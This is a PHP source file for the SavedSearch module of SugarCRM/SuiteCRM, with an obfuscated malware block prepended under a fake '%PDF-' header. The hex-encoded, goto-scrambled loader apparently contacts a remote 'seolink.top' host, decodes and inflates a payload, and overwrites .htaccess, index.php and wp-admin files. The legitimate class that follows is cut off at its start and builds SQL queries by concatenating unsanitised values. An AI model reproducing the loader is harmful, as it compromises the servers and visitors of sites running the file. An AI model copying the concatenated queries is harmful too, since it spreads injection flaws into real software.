%PDF- %PDF- $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> columns = $columns; $this->orderBy = $orderBy; $this->sortOrder = $sortOrder; $this->setupCustomFields('SavedSearch'); foreach ($this->field_defs as $field) { $this->field_name_map[$field['name']] = $field; } } /** * @deprecated deprecated since version 7.6, PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code, use __construct instead */ public function SavedSearch($columns = array(), $orderBy = null, $sortOrder = 'DESC') { $deprecatedMessage = 'PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code'; if (isset($GLOBALS['log'])) { $GLOBALS['log']->deprecated($deprecatedMessage); } else { trigger_error($deprecatedMessage, E_USER_DEPRECATED); } self::__construct($columns, $orderBy, $sortOrder); } // Saved Search Form public function getForm($module, $inline = true, $orderBySelectOnly = false) { global $current_user, $currentModule, $current_language, $app_strings; $db = DBManagerFactory::getInstance(); $json = getJSONobj(); $saved_search_mod_strings = return_module_language($current_language, 'SavedSearch'); $query = 'SELECT id, name FROM saved_search WHERE deleted = \'0\' AND assigned_user_id = \'' . $current_user->id . '\' AND search_module = \'' . $module . '\' ORDER BY name'; $result = $db->query($query, true, "Error filling in saved search list: "); $savedSearchArray['_none'] = $app_strings['LBL_NONE']; while ($row = $db->fetchByAssoc($result, -1, false)) { $savedSearchArray[$row['id']] = htmlspecialchars($row['name'], ENT_QUOTES); } $sugarSmarty = new Sugar_Smarty(); $sugarSmarty->assign('SEARCH_MODULE', $module); $sugarSmarty->assign('MOD', $saved_search_mod_strings); $sugarSmarty->assign('DELETE', $app_strings['LBL_DELETE_BUTTON_LABEL']); $sugarSmarty->assign('UPDATE', $app_strings['LBL_UPDATE']); $sugarSmarty->assign('SAVE', $app_strings['LBL_SAVE_BUTTON_LABEL']); $chooser = $this->getTemplateGroupChooser($module); $sugarSmarty->assign('columnChooser', $chooser->display()); $sugarSmarty->assign('selectedOrderBy', $this->orderBy); if (empty($this->sortOrder)) { $this->sortOrder = 'ASC'; } $sugarSmarty->assign('selectedSortOrder', $this->sortOrder); $lastSavedView = (empty($_SESSION['LastSavedView'][$module]) ? '' : $_SESSION['LastSavedView'][$module]); $sugarSmarty->assign('columnsMeta', $json->encode($this->columns)); $sugarSmarty->assign('lastSavedView', $lastSavedView); $sugarSmarty->assign('SAVED_SEARCHES_OPTIONS', get_select_options_with_id($savedSearchArray, $lastSavedView)); $json = getJSONobj(); $sugarSmarty->assign('orderBySelectOnly', $orderBySelectOnly); return $sugarSmarty->fetch('modules/SavedSearch/SavedSearchForm.tpl'); } public function getTemplateGroupChooser($module) { global $app_strings; // Column Chooser $chooser = new TemplateGroupChooser(); $chooser->args['id'] = 'edit_tabs'; $chooser->args['left_size'] = 7; $chooser->args['right_size'] = 7; $chooser->args['values_array'][0] = array(); $chooser->args['values_array'][1] = array(); if (isset($_REQUEST['saved_search_select']) && $_REQUEST['saved_search_select'] != '_none') { $this->retrieveSavedSearch($_REQUEST['saved_search_select']); } if ((!empty($_REQUEST['displayColumns']) && $_REQUEST['displayColumns'] != 'undefined') || (isset($this->contents['displayColumns']) && $this->contents['displayColumns'] != 'undefined')) { // columns to display if (!empty($_REQUEST['displayColumns']) && $_REQUEST['displayColumns'] != 'undefined') { $temp_displayColumns = $_REQUEST['displayColumns']; } else { $temp_displayColumns = $this->contents['displayColumns']; } foreach (explode('|', $temp_displayColumns) as $num => $name) { if (!isset($this->columns[$name])) { // Ignore any column that is not on the list. continue; } $chooser->args['values_array'][0][$name] = trim(translate($this->columns[$name]['label'], $module), ':'); } // columns not displayed foreach (array_diff(array_keys($this->columns), array_values(explode('|', $temp_displayColumns))) as $num => $name) { $chooser->args['values_array'][1][$name] = trim(translate($this->columns[$name]['label'], $module), ':'); } } else { foreach ($this->columns as $name => $val) { if (!isset($val['label'])) { LoggerManager::getLogger()->warn("SavedSearch getTemplateGroupChooser: Illegal string offset 'label'"); $valLabel = null; } else { $valLabel = $val['label']; } if (!empty($val['default']) && $val['default']) { $chooser->args['values_array'][0][$name] = trim(translate($valLabel, $module), ':'); } else { $chooser->args['values_array'][1][$name] = trim(translate($valLabel, $module), ':'); } } } if (!empty($_REQUEST['sortOrder'])) { $this->sortOrder = $_REQUEST['sortOrder']; } if (!empty($_REQUEST['orderBy'])) { $this->orderBy = $_REQUEST['orderBy']; } $chooser->args['left_name'] = 'display_tabs'; $chooser->args['right_name'] = 'hide_tabs'; $chooser->args['alt_tip'] = $app_strings['LBL_SORT']; $chooser->args['left_label'] = $app_strings['LBL_DISPLAY_COLUMNS']; $chooser->args['right_label'] = $app_strings['LBL_HIDE_COLUMNS']; $chooser->args['title'] = ''; $this->lastTemplateGroupChooser = $chooser; return $chooser; } public function getSelect($module, &$savedSearchData = null) { global $current_user, $currentModule, $current_lang, $app_strings; $db = DBManagerFactory::getInstance(); $saved_search_mod_strings = return_module_language($current_lang, 'SavedSearch'); $query = 'SELECT id, name FROM saved_search WHERE deleted = \'0\' AND assigned_user_id = \'' . $current_user->id . '\' AND search_module = \'' . $module . '\' ORDER BY name'; $result = $db->query($query, true, "Error filling in saved search list: "); $savedSearchArray['_none'] = $app_strings['LBL_NONE']; $savedSearchData['hasOptions'] = false; while ($row = $db->fetchByAssoc($result, -1, false)) { $savedSearchData['hasOptions'] = true; $savedSearchData['options'][$row['id']] = $savedSearchArray[$row['id']] = htmlspecialchars($row['name'], ENT_QUOTES); } $sugarSmarty = new Sugar_Smarty(); $sugarSmarty->assign('SEARCH_MODULE', $module); $sugarSmarty->assign('MOD', $saved_search_mod_strings); if (!empty($_SESSION['LastSavedView'][$module]) && (($_REQUEST['action'] == 'ListView') || ($_REQUEST['action'] == 'index'))) { $selectedSearch = $_SESSION['LastSavedView'][$module]; } else { $selectedSearch = ''; } $savedSearchData['selected'] = $selectedSearch; $sugarSmarty->assign('SAVED_SEARCHES_OPTIONS', get_select_options_with_id($savedSearchArray, $selectedSearch)); $savedSearchData['module'] = $module; return $sugarSmarty->fetch('modules/SavedSearch/SavedSearchSelects.tpl'); } public function returnSavedSearch($id, $searchFormTab = 'advanced_search', $showDiv = 'no') { global $current_user, $currentModule; $db = DBManagerFactory::getInstance(); $this->retrieveSavedSearch($id); $header = 'Location: index.php?action=index&module='; $saved_search_name = ''; $header .= $this->contents['search_module']; if (empty($_SESSION['LastSavedView'])) { $_SESSION['LastSavedView'] = array(); } $_SESSION['LastSavedView'][$this->contents['search_module']] = $id; $saved_search_id = $id; $saved_search_name = $this->name; $thisContentsSearchFormTab = null; if (isset($this->contents['searchFormTab'])) { $thisContentsSearchFormTab = $this->contents['searchFormTab']; } else { LoggerManager::getLogger()->warn('SavedSearch contents search form tab is not set'); } $search_form_tab = $thisContentsSearchFormTab; $thisContentsQuery = null; if (isset($this->contents['query'])) { $thisContentsQuery = $this->contents['query']; } else { LoggerManager::getLogger()->warn('SavedSearch contents query is not set'); } $query = $thisContentsQuery; $orderBy = empty($this->contents['orderBy']) ? 'name' : $this->contents['orderBy']; //Reduce the params to avoid the problems caused by URL max length in IE. $thisContentsSortOrder = null; if (isset($this->contents['sortOrder'])) { $thisContentsSortOrder = $this->contents['sortOrder']; } else { LoggerManager::getLogger()->warn('SavedSearch contents short order is not set'); } SugarApplication::headerRedirect( $header . '&saved_search_select=' . $saved_search_id . '&saved_search_select_name=' . $saved_search_name . '&orderBy=' . $orderBy . '&sortOrder=' . $thisContentsSortOrder . '&query=' . $query . '&searchFormTab=' . $search_form_tab . '&showSSDIV=' . $showDiv ); } public function returnSavedSearchContents($id) { global $current_user, $currentModule; $db = DBManagerFactory::getInstance(); $query = 'SELECT id, name, contents, search_module FROM saved_search WHERE id = \'' . $id . '\''; $result = $db->query($query, true, "Error filling in saved search list: "); $header = 'Location: index.php?action=index&module='; $contents = ''; $saved_search_name = ''; while ($row = $db->fetchByAssoc($result, false)) { $header .= $row['search_module']; if (empty($_SESSION['LastSavedView'])) { $_SESSION['LastSavedView'] = array(); } $_SESSION['LastSavedView'][$row['search_module']] = $row['id']; $contents = unserialize(base64_decode($row['contents'])); $saved_search_id = $row['id']; $saved_search_name = $row['name']; } return $contents; } public function handleDelete($id) { $this->mark_deleted($id); $requestSearchModule = null; if (isset($_REQUEST['search_module'])) { $requestSearchModule = $_REQUEST['search_module']; } else { LoggerManager::getLogger()->warn('SavedSearch::handleDelete() - Requested search module is not set'); } SugarApplication::headerRedirect("Location: index.php?action=index&module={$requestSearchModule}&advanced={$_REQUEST['advanced']}&query=true&clear_query=true"); } public function handleSave($prefix, $redirect = true, $useRequired = false, $id = null, $searchModuleBean = null) { global $current_user, $timedate; $focus = new SavedSearch(); if ($id) { $focus->retrieve($id); } if ($useRequired && !checkRequired($prefix, array_keys($focus->required_fields))) { return null; } $ignored_inputs = array('PHPSESSID', 'module', 'action', 'saved_search_name', 'saved_search_select', 'advanced', 'Calls_divs', 'ACLRoles_divs'); $contents = $_REQUEST; if (!isset($contents['saved_search_name'])) { LoggerManager::getLogger()->warn('SavedSearch::handleSave() - saved_search_name is not set'); } if (isset($contents['saved_search_name']) && $contents['saved_search_name']) { $focus->name = $contents['saved_search_name']; } $focus->search_module = $contents['search_module']; foreach ($contents as $input => $value) { if (in_array($input, $ignored_inputs)) { unset($contents[$input]); continue; } //Filter date fields to ensure it is saved to DB format, but also avoid empty values if (!empty($value) && preg_match('/^(start_range_|end_range_|range_)?(.*?)(_advanced|_basic)$/', $input, $match)) { $field = $match[2]; if (isset($searchModuleBean->field_defs[$field]['type']) && empty($searchModuleBean->field_defs[$field]['disable_num_format'])) { $type = $searchModuleBean->field_defs[$field]['type']; //Avoid macro values for the date types if (($type == 'date' || $type == 'datetime' || $type == 'datetimecombo') && !preg_match('/^\[.*?\]$/', $value)) { $db_format = $timedate->to_db_date($value, false); $contents[$input] = $db_format; } elseif ($type == 'int' || $type == 'currency' || $type == 'decimal' || $type == 'float') { if (preg_match('/[^\d]/', $value)) { require_once('modules/Currencies/Currency.php'); $contents[$input] = unformat_number($value); //Flag this value as having been unformatted $contents[$input . '_unformatted_number'] = true; //If the type is of currency and there was a currency symbol (non-digit), save the symbol if ($type == 'currency' && preg_match('/^([^\d])/', $value, $match)) { $contents[$input . '_currency_symbol'] = $match[1]; } } else { //unset any flags if (isset($contents[$input . '_unformatted_number'])) { unset($contents[$input . '_unformatted_number']); } if (isset($contents[$input . '_currency_symbol'])) { unset($contents[$input . '_currency_symbol']); } } } } } } $contents['advanced'] = true; $focus->contents = base64_encode(serialize($contents)); $focus->assigned_user_id = $current_user->id; $focus->new_schema = true; $saved_search_id = $focus->save(); $GLOBALS['log']->debug("Saved record with id of " . $focus->id); $orderBy = empty($contents['orderBy']) ? 'name' : $contents['orderBy']; $contentsSortOrder = null; if (isset($contents['sortOrder'])) { $contentsSortOrder = $contents['sortOrder']; } else { LoggerManager::getLogger()->warn('SavedSearch::handleSave() - contents sort order is not set'); } $requestQuery = null; if (isset($_REQUEST['query'])) { $requestQuery = $_REQUEST['query']; } else { LoggerManager::getLogger()->warn('SavedSearch::handleSave() - request query is not set'); } $requestSearchFormTab = null; if (isset($_REQUEST['searchFormTab'])) { $requestSearchFormTab = $_REQUEST['searchFormTab']; } else { LoggerManager::getLogger()->warn('SavedSearch::handleSave() - request search form tab is not set'); } $contentsShowSSDIV = null; if (isset($contents['showSSDIV'])) { $contentsShowSSDIV = $contents['showSSDIV']; } else { LoggerManager::getLogger()->warn('SavedSearch::handleSave() - contents showSSDIV is not set'); } $search_query = "&orderBy=" . $orderBy . "&sortOrder=" . $contentsSortOrder . "&query=" . $requestQuery . "&searchFormTab=" . $requestSearchFormTab . '&showSSDIV=' . $contentsShowSSDIV; if ($redirect) { $this->handleRedirect($focus->search_module, $search_query, $saved_search_id, 'true'); } } public function handleRedirect($return_module, $search_query, $saved_search_id, $advanced = 'false') { $_SESSION['LastSavedView'][$return_module] = $saved_search_id; $return_action = 'index'; $ajaxLoad = empty($_REQUEST['ajax_load']) ? "" : "&ajax_load=" . $_REQUEST['ajax_load']; //Reduce the params to avoid the problems caused by URL max length in IE ( the reduced params can be get from saved search according to saved_search_id). SugarApplication::headerRedirect("Location: index.php?action=$return_action&module=$return_module&saved_search_select={$saved_search_id}{$search_query}&advanced={$advanced}$ajaxLoad"); die(); } public function fill_in_additional_list_fields() { global $app_list_strings; // Fill in the assigned_user_name $this->search_module = $app_list_strings['moduleList'][$this->contents['search_module']]; $this->assigned_user_name = get_assigned_user_name($this->assigned_user_id); } public function retrieveSavedSearch($id) { parent::retrieve($id); $this->contents = unserialize(base64_decode($this->contents)); } public function populateRequest() { global $timedate; if (isset($this->contents['search_module'])) { $searchModuleBean = loadBean($this->contents['search_module']); } foreach ($this->contents as $key => $val) { if ($key != 'advanced' && $key != 'module' && !strpos($key, '_ORDER_BY') && $key != 'lvso') { if (isset($searchModuleBean) && !empty($val) && preg_match('/^(start_range_|end_range_|range_)?(.*?)(_advanced|_basic)$/', $key, $match)) { $field = $match[2]; if (isset($searchModuleBean->field_defs[$field]['type']) && empty($searchModuleBean->field_defs[$field]['disable_num_format'])) { $type = $searchModuleBean->field_defs[$field]['type']; //Avoid macro values for the date types if (($type == 'date' || $type == 'datetime' || $type == 'datetimecombo') && preg_match('/^\d{4}-\d{2}-\d{2}$/', $val) && !preg_match('/^\[.*?\]$/', $val)) { $val = $timedate->to_display_date($val, false); } elseif (($type == 'int' || $type == 'currency' || $type == 'decimal' || $type == 'float') && isset($this->contents[$key . '_unformatted_number']) && preg_match('/^\d+$/', $val)) { require_once('modules/Currencies/Currency.php'); $val = format_number($val); if ($type == 'currency' && isset($this->contents[$key . '_currency_symbol'])) { $val = $this->contents[$key . '_currency_symbol'] . $val; } } } } $_REQUEST[$key] = $val; $_GET[$key] = $val; } } } }